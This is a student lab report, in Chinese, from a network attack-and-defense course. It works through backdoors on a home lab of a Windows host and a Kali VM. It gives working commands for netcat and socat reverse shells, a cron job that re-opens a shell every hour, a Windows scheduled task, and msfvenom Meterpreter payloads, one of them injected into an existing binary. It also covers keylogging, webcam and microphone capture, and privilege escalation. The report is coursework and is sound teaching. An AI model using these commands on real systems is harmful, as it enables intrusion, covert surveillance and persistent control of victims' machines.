20222306 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1 实践目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:
- 插入不明来源的U盘
- 安装网上一些不正规的破解软件
- 在一些非正规的网站下载资源
- 在钓鱼网站上点击不安全的链接
- 陌生人发来的邮件中,不明的文件或者链接
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:
在Windows系统中,后门启动方式有:利用windows启动项启动后门、利用windows服务启动后门、利用定时任务启动后门等;
在Linux系统中,后门的启动方式可能包括:利用cron或at等定时任务工具启动后门、利用自启动脚本启动后门、利用利用SSH隧道启动后门、利用反弹Shell启动后门等。
(3)Meterpreter有哪些给你印象深刻的功能?
答:
利用meterpreter做后渗透攻击,如打开shell、捕捉屏幕、录音、获取摄像头信息等让我印象深刻,我也实现了在小说和电影中看到的黑客技术。
(4)如何发现自己有系统有没有被安装后门?
答:
①可以查看任务管理器,检查是否有可疑进程或程序;
②可以使用命令行工具,输入netstat -ano来查看是否有可疑IP在进行外网链接;
③可以检查系统日志的系统和安全部分,检查是否有服务文件名与可疑程序相关;
④使用防病毒软件、防火墙、漏洞扫描工具等,实时维护系统。
2.实验过程
一,使用netcat获取主机操作Shell,cron启动
关闭所有的杀毒软件,关闭主机和Linux虚拟机的防火墙。
Linux系统关闭防火墙的方法:
sudo apt-get install ufw
ufw disable
(1)查看主机的ip
Windows主机IP地址:192.168.43.67
Linux主机IP地址:192.168.80.136
(2)使用netcat进行连接并获取shell
虚拟机登入root用户(后续操作需要使用root权限),主机cmd进入ncat所在目录。
Win主机输入指令:ncat.exe -l -p 8888(l表示listen,“监听”;p表示port,指定端口,端口号可自行指定)
Linux虚机输入指令:nc 192.168.43.67 8888 -e /bin/sh(nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。)win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。
(3)通过设置cron使得kali启动定时任务
进入虚拟机的root账户,输入crontab -e (执行文字编辑器来设定时程表),选择的是2:/usr/bin/vim.basic;
输入后进入文字编辑器,输入i进入插入模式,输入指令30 * * * * /bin/netcat 192.168.43.67 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第30分钟启动任务)
编辑好输入:wq保存并退出文字编辑器
同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。
回到Windows主机的cmd中进行操作,Win主机输入指令:ncat.exe -l -p 8888,Linux虚机输入指令:nc 192.168.43.67 8888 -e /bin/sh,还是一样与Linux建立连接之后,输入sudo su,切换到root模式,输入:
echo "*****echo "20222306">/home/txm/Desktop/2306_1.txt">/var/spool/cron/crontabs/root
crontab -l (检查时程表)
这时候再使用Linux,进入相应目录就发现修改成功。
至此,实践任务1完成!
二,使用socat获取主机操作Shell, 任务计划启动
socat:功能与netcat类似,可看做netcat plus。它具有netcat所不具备的功能,如建立ssl连接。
首先,在Windows主机之下进入socat.exe的文件目录下,启用cmd输入命令:
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
接着在Linux上使用socat与win主机建立连接,可获得其shell:
socat - tcp:192.168.43.67:8888
回到主机,我们需要事先准备一个程序以供运行。
文件路径如下:
在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:
schtasks create /sc minute /mo 1 /tn "20222306txm" /tr c:Users\pc\Desktop\stu-scorel txm.exe (每一分钟执行一次我写的这个程序:)
回到windows主机,打开计算机管理,看到正在运行的任务名“202222306txm”,说明实验成功。
至此,实践任务二完成!
三、在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。
(1)生成后门文件
首先在kali中输入ifconfig,获得虚拟机的IP地址:
虚拟机的IP地址是192.168.80.136
继续中输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.136 LPORT=8888 -f exe > 2306backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)
LHOST=192.168.80.136是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;
LPORT=8888是攻击者的系统上监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe;
2306backdoor.exe即生成的恶意可执行文件
(2)将后门文件传输至目标主机
主机进入ncat所在目录下,输入指令:
ncat.exe -lv 8888 > "D:\2306backdoor.exe"(监听8888窗口等待接收可执行文件2306backdoor.exe,并将2306backdoor.exe文件存放在桌面上)
虚拟机上输入指令:
nc 192.168.80.136 8888 < 2306backdoor.exe(将生成的后门文件2306backdoor.exe传给主机)
Win主机接收到后门文件2306backdoor.exe,成功在D盘找到文件
(3)配置监听模块
回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.43.67 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2306backdoor.exe文件
至此,实践任务三完成!
四,使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic (音频)
screenshot (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上
(2)提权
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)
至此,实践任务四完成!
五,使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali命令行下输入:
Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.136
LPORT=8888 -x /root/Desktop/pwn1 -f elf > 2306_pwn
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2306_pwn的文件中。)
-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.80.136:目标主机 IP 地址为 192.168.80.136,这里即虚拟机IP地址。
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /home/kali/Document/pwn1:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
对生成的2306_pwn文件赋予权限
输入指令msfconsole,重现监听过程:
打开另一个shell,运行生成的2306_pwn文件(需要使用root权限)
回到第一个shell,输入ls确认连接,成功实现远程控制shell
至此,实践任务五完成!
3、实验中遇到的问题及解决
问题1:主机和虚拟机无法用ncat连接
解决方式:关掉火绒软件,就可以连上了。
问题2:输入30 * * * * /bin/netcat 192.168.3.10 8888 -e /bin/sh后2221_1.txt文件没有被覆盖。
解决方案:需要等到每个小时的第30分钟才会启动覆盖。
问题3:任务四中在exploit中输入getsystem无法提权,显示send timed out
解决方案:在主机中使用管理员身份运行cmd,然后后运行后门程序
4.学习思考感悟等
通过本次实验,我对netcat、socat、cron、MSF meterpreter等有了基本的了解。在进行这次实验前,必须将杀毒软件关闭,否则“寸步难行”。这也体现了杀毒软件在防范网络攻击方面的可行性和必要性。
第二次实验我踩的坑似乎也没那么多,所以也比较顺利地完成了实验,但是也更有意思了。这是我第一次感受黑客是什么样的。之前我对于如何进行攻击是非常有疑问的。这次通过创建后门获取各种权限,我才知道连我都可以获取目标主机的摄像头、键盘、密码等权限。真的是小小的体验了一下黑客。也深刻感受到防火墙、入侵检测的重要性。